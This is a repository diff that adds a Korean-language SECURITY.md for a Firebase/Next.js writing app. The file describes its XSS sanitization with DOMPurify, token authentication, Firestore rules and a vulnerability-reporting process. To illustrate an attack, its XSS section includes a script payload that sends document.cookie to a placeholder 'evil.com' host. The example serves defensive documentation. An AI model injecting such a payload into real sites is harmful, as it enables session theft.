| **AI Delta 전송 로직 개선** | **diff-match-patch 라이브러리 도입, 정확한 diff 계산 (앞/중간/뒤 수정 모두 감지), 5자 미만 변경 누적 (previousText 유지), 완화된 기준 (80% 미만, 200자 미만), 9개 테스트 케이스 통과 (뒷부분 추가, 중간 수정, 앞부분 추가, 삭제, 대량 변경, 누적 변경), skipped 응답 처리 (클라이언트에서 prev 유지), analyze-text API 수정** | **2025-11-19** |
|
||||||
|
| **Draft 클라우드 동기화** | **localStorage + Realtime DB 하이브리드 저장, syncStatus 필드 추가 ('local'\|'synced'\|'syncing'), DraftManager 확장 (syncToCloud, loadDraftsFromCloud, mergeDrafts, deleteDraftFromCloud), SavedDraftsDialog 배지 표시 (🟢동기화됨/🟡동기화 중/⚪기기만), write/page.tsx mergeDrafts 호출 (로그인 시), database.rules.json drafts 규칙 추가 (본인만 읽기/쓰기), 기기 간 동기화 (학교 ↔ 집), updatedAt 비교로 최신 버전 선택** | **2025-11-19** |
|
||||||
|
| **팀 코드 예약 반환 로직** | **generate-code API 수정 (previousCode 파라미터 추가), 새 코드 받기 시 이전 예약 자동 해제, team/create page 중복 호출 방지 (isGeneratingCode 체크), 팀 생성 실패 시에도 예약 해제 (catch 블록), GenerateTeamCodeRequest 타입 확장, TeamManager.generateUniqueTeamCode previousCode 파라미터** | **2025-11-19** |
|
||||||
|
| **Firebase Cloud Functions Phase 1** | **functions/ 프로젝트 초기화 (Node.js 22, v2 API), 파일 분리 구조 (index.ts export만, 로직 별도 파일), cleanupExpiredReservations (매 시간, 팀 코드 예약 정리), cleanupExpiredDrafts (매일 새벽 3시, 180일 이상 drafts 정리), onTeamDeleted (Firestore Trigger, cascade 삭제), onWritingCreated (Firestore Trigger, 추후 자동 분석), 한글 로그, asia-northeast1 리전, firebase.json predeploy 수정 (lint 제거), 4개 함수 배포 완료** | **2025-11-19** |
|
||||||
|
|
||||||
### 🚧 진행 중
|
### 🚧 진행 중
|
||||||
|
|
||||||
|
|||||||
260
SECURITY.md
Normal file
260
SECURITY.md
Normal file
@ -0,0 +1,260 @@
|
|||||||
|
# Security Policy
|
||||||
|
|
||||||
|
라온누리 프로젝트의 보안 정책 및 구현 내역을 문서화합니다.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔒 보안 조치 요약
|
||||||
|
|
||||||
|
| 보안 영역 | 조치 | 상태 | 적용일 |
|
||||||
|
|----------|------|------|--------|
|
||||||
|
| **XSS 방지** | HTML Sanitization | ✅ 적용 완료 | 2025-11-19 |
|
||||||
|
| **인증** | Firebase Auth | ✅ 적용 완료 | 2025-10-xx |
|
||||||
|
| **API 인증** | JWT Token (ID Token) | ✅ 적용 완료 | 2025-10-xx |
|
||||||
|
| **SQL Injection** | Firestore (NoSQL) | ✅ 원천 방지 | - |
|
||||||
|
| **CSRF** | SameSite Cookies | 🚧 검토 필요 | - |
|
||||||
|
| **Rate Limiting** | API 요청 제한 | ⏳ 예정 | - |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. XSS (Cross-Site Scripting) 방지
|
||||||
|
|
||||||
|
### 문제점
|
||||||
|
- 사용자가 작성한 글 (`writings` 컬렉션)의 `content` 필드는 **HTML 문자열**로 저장됩니다.
|
||||||
|
- Tiptap 에디터는 안전한 HTML을 생성하지만, 악의적인 사용자가 **API를 직접 호출**하여 악성 스크립트를 주입할 수 있습니다.
|
||||||
|
|
||||||
|
**공격 시나리오**:
|
||||||
|
```typescript
|
||||||
|
// 악의적인 API 호출
|
||||||
|
POST /api/writing
|
||||||
|
{
|
||||||
|
"title": "정상 제목",
|
||||||
|
"content": "<p>정상 내용</p><script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 해결책: HTML Sanitization
|
||||||
|
|
||||||
|
**백엔드 자동 세탁** (`src/lib/server/writing.ts`):
|
||||||
|
```typescript
|
||||||
|
import { sanitizeHtml } from "@/utils/sanitizeHtml";
|
||||||
|
|
||||||
|
// 글 생성 시 자동 세탁 (Line 46-47)
|
||||||
|
const sanitizedTitle = sanitizeHtml(data.title);
|
||||||
|
const sanitizedContent = sanitizeHtml(data.content);
|
||||||
|
|
||||||
|
// 글 수정 시 자동 세탁 (Line 199-203)
|
||||||
|
if (data.title) {
|
||||||
|
updateData.title = sanitizeHtml(data.title);
|
||||||
|
}
|
||||||
|
if (data.content) {
|
||||||
|
updateData.content = sanitizeHtml(data.content);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**세탁 규칙** (`src/utils/sanitizeHtml.ts`):
|
||||||
|
- ✅ **허용된 태그**: `<p>`, `<strong>`, `<em>`, `<h1-6>`, `<ul>`, `<ol>`, `<li>`, `<a>`, `<img>`, `<blockquote>`, `<code>`, 등 (Tiptap 기본)
|
||||||
|
- ❌ **차단된 태그**: `<script>`, `<iframe>`, `<object>`, `<embed>`, `<style>`, `<link>`, `<meta>`, 등
|
||||||
|
- ❌ **차단된 속성**: `onerror`, `onclick`, `onmouseover`, 모든 `on*` 이벤트 핸들러
|
||||||
|
- ❌ **차단된 프로토콜**: `javascript:`, 위험한 `data:` URI
|
||||||
|
|
||||||
|
**라이브러리**: `isomorphic-dompurify` (서버/클라이언트 모두 작동)
|
||||||
|
|
||||||
|
**테스트 커버리지**: 26개 유닛 테스트 (`src/utils/__tests__/sanitizeHtml.test.ts`)
|
||||||
|
- ✅ 안전한 HTML 보존 테스트 (7개)
|
||||||
|
- ✅ XSS 공격 벡터 차단 테스트 (10개)
|
||||||
|
- ✅ Edge case 처리 (4개)
|
||||||
|
- ✅ 실제 Tiptap HTML 호환성 (2개)
|
||||||
|
- ✅ 배치 처리 및 객체 세탁 (3개)
|
||||||
|
|
||||||
|
**성능 영향**:
|
||||||
|
- DOMPurify는 빠른 성능 (평균 1-2ms per document)
|
||||||
|
- 글 저장 시 한 번만 실행 (조회 시 불필요)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 인증 (Authentication)
|
||||||
|
|
||||||
|
### Firebase Authentication
|
||||||
|
- **제공자**: Email/Password, Google OAuth
|
||||||
|
- **익명 로그인**: 팀 코드 기반 (Level 1 보안)
|
||||||
|
- **정식 계정**: Google 계정 연동, 이메일/비밀번호
|
||||||
|
|
||||||
|
### API 인증
|
||||||
|
모든 API 요청은 Firebase ID Token 검증:
|
||||||
|
```typescript
|
||||||
|
// src/lib/auth.ts
|
||||||
|
export async function requireAuth(authHeader: string | null) {
|
||||||
|
if (!authHeader?.startsWith("Bearer ")) {
|
||||||
|
throw new Error("인증 토큰이 없습니다.");
|
||||||
|
}
|
||||||
|
|
||||||
|
const idToken = authHeader.substring(7);
|
||||||
|
const decodedToken = await adminAuth.verifyIdToken(idToken);
|
||||||
|
return decodedToken;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**적용 위치**: 모든 `POST`, `PUT`, `DELETE` API 엔드포인트
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 권한 관리 (Authorization)
|
||||||
|
|
||||||
|
### 글 소유권 검증
|
||||||
|
- 사용자는 **본인의 글만** 조회/수정/삭제 가능
|
||||||
|
- 백엔드에서 `userId` 검증:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// src/lib/server/writing.ts
|
||||||
|
export async function isWritingOwner(writingId: string, userId: string): Promise<boolean> {
|
||||||
|
const writing = await getWriting(writingId);
|
||||||
|
return writing !== null && writing.userId === userId;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 팀 권한
|
||||||
|
- **소유자(Owner)**: 팀 설정 변경, 멤버 관리, 삭제
|
||||||
|
- **멤버**: 팀 조회, 주제 작성, 탈퇴
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. SQL Injection 방지
|
||||||
|
|
||||||
|
**Firestore 사용으로 원천 차단**:
|
||||||
|
- NoSQL 데이터베이스 사용
|
||||||
|
- 쿼리는 타입 안전한 SDK로만 실행
|
||||||
|
- Raw SQL 쿼리 불가능
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 데이터 보호
|
||||||
|
|
||||||
|
### 민감 정보 처리
|
||||||
|
- **이메일**: Firebase Auth에만 저장 (Firestore에 중복 저장 안 함)
|
||||||
|
- **비밀번호**: Firebase Auth가 암호화 관리
|
||||||
|
- **API 키**: 환경 변수로 관리 (`.env` 파일, `.gitignore` 적용)
|
||||||
|
|
||||||
|
### Firestore 보안 규칙
|
||||||
|
```javascript
|
||||||
|
// firestore.rules (예정)
|
||||||
|
rules_version = '2';
|
||||||
|
service cloud.firestore {
|
||||||
|
match /databases/{database}/documents {
|
||||||
|
// 사용자는 본인 문서만 읽기/쓰기
|
||||||
|
match /users/{userId} {
|
||||||
|
allow read, write: if request.auth != null && request.auth.uid == userId;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 글은 소유자만 수정/삭제
|
||||||
|
match /writings/{writingId} {
|
||||||
|
allow read: if request.auth != null;
|
||||||
|
allow create: if request.auth != null;
|
||||||
|
allow update, delete: if request.auth.uid == resource.data.userId;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. HTTPS 강제
|
||||||
|
|
||||||
|
**Production 환경**:
|
||||||
|
- ✅ Vercel 배포 시 자동 HTTPS 적용
|
||||||
|
- ✅ HTTP → HTTPS 자동 리다이렉트
|
||||||
|
- ✅ HSTS 헤더 설정
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. 환경 변수 보호
|
||||||
|
|
||||||
|
**민감 정보 관리**:
|
||||||
|
```bash
|
||||||
|
# .env.local (로컬 개발)
|
||||||
|
NEXT_PUBLIC_FIREBASE_API_KEY=xxx
|
||||||
|
NEXT_PUBLIC_FIREBASE_AUTH_DOMAIN=xxx
|
||||||
|
FIREBASE_SERVICE_ACCOUNT_KEY=xxx # 서버 전용
|
||||||
|
```
|
||||||
|
|
||||||
|
**보안 체크리스트**:
|
||||||
|
- ✅ `.env` 파일은 `.gitignore`에 포함
|
||||||
|
- ✅ `NEXT_PUBLIC_*`은 클라이언트 노출 가능 (Firebase API Key)
|
||||||
|
- ✅ 서버 전용 변수는 `NEXT_PUBLIC_` 접두어 없이 사용
|
||||||
|
- ✅ Production 환경 변수는 Vercel에서 관리
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Rate Limiting (예정)
|
||||||
|
|
||||||
|
**계획 중인 조치**:
|
||||||
|
- API 엔드포인트별 요청 제한 (예: 1분당 60회)
|
||||||
|
- DDoS 방지
|
||||||
|
- Vercel Edge Functions + Upstash Redis 고려
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. 보안 취약점 발견 시
|
||||||
|
|
||||||
|
### 보고 절차
|
||||||
|
1. **즉시 보고**: GitHub Issues에 **비공개** 이슈 생성 (Security Advisories 사용)
|
||||||
|
2. **제목 형식**: `[SECURITY] 취약점 요약`
|
||||||
|
3. **포함 정보**:
|
||||||
|
- 취약점 설명
|
||||||
|
- 재현 방법 (PoC)
|
||||||
|
- 영향 범위
|
||||||
|
- 제안 해결책
|
||||||
|
|
||||||
|
### 보안 업데이트 절차
|
||||||
|
1. 취약점 확인 및 우선순위 설정
|
||||||
|
2. 패치 개발 및 테스트
|
||||||
|
3. 긴급 배포 (Critical 취약점)
|
||||||
|
4. 공개 공지 (패치 후)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. 보안 체크리스트 (개발자용)
|
||||||
|
|
||||||
|
**새 기능 개발 시 확인 사항**:
|
||||||
|
- [ ] 사용자 입력 검증 (클라이언트 + 서버)
|
||||||
|
- [ ] HTML/SQL Injection 방지
|
||||||
|
- [ ] 인증/권한 확인
|
||||||
|
- [ ] 민감 정보 로깅 금지
|
||||||
|
- [ ] HTTPS 사용
|
||||||
|
- [ ] 환경 변수 적절히 관리
|
||||||
|
- [ ] 에러 메시지에 민감 정보 노출 금지
|
||||||
|
- [ ] 보안 테스트 작성
|
||||||
|
|
||||||
|
**의존성 관리**:
|
||||||
|
```bash
|
||||||
|
# 정기적으로 취약점 검사
|
||||||
|
npm audit
|
||||||
|
npm audit fix
|
||||||
|
|
||||||
|
# 의존성 업데이트
|
||||||
|
npm update
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. 참고 자료
|
||||||
|
|
||||||
|
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
|
||||||
|
- [Firebase Security Rules](https://firebase.google.com/docs/rules)
|
||||||
|
- [DOMPurify Documentation](https://github.com/cure53/DOMPurify)
|
||||||
|
- [Next.js Security](https://nextjs.org/docs/app/building-your-application/configuring/content-security-policy)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 12. 보안 업데이트 이력
|
||||||
|
|
||||||
|
| 날짜 | 조치 | 설명 |
|
||||||
|
|------|------|------|
|
||||||
|
| 2025-11-19 | XSS 방지 | HTML Sanitization 구현 (DOMPurify) |
|
||||||
|
| 2025-10-xx | 인증 시스템 | Firebase Auth 적용 |
|
||||||
|
| 2025-10-xx | API 인증 | ID Token 검증 적용 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Last Updated**: 2025-11-19
|
||||||
|
**Security Contact**: [프로젝트 이슈 트래커](https://github.com/[your-repo]/issues)
|
||||||
Loading…
x
Reference in New Issue
Block a user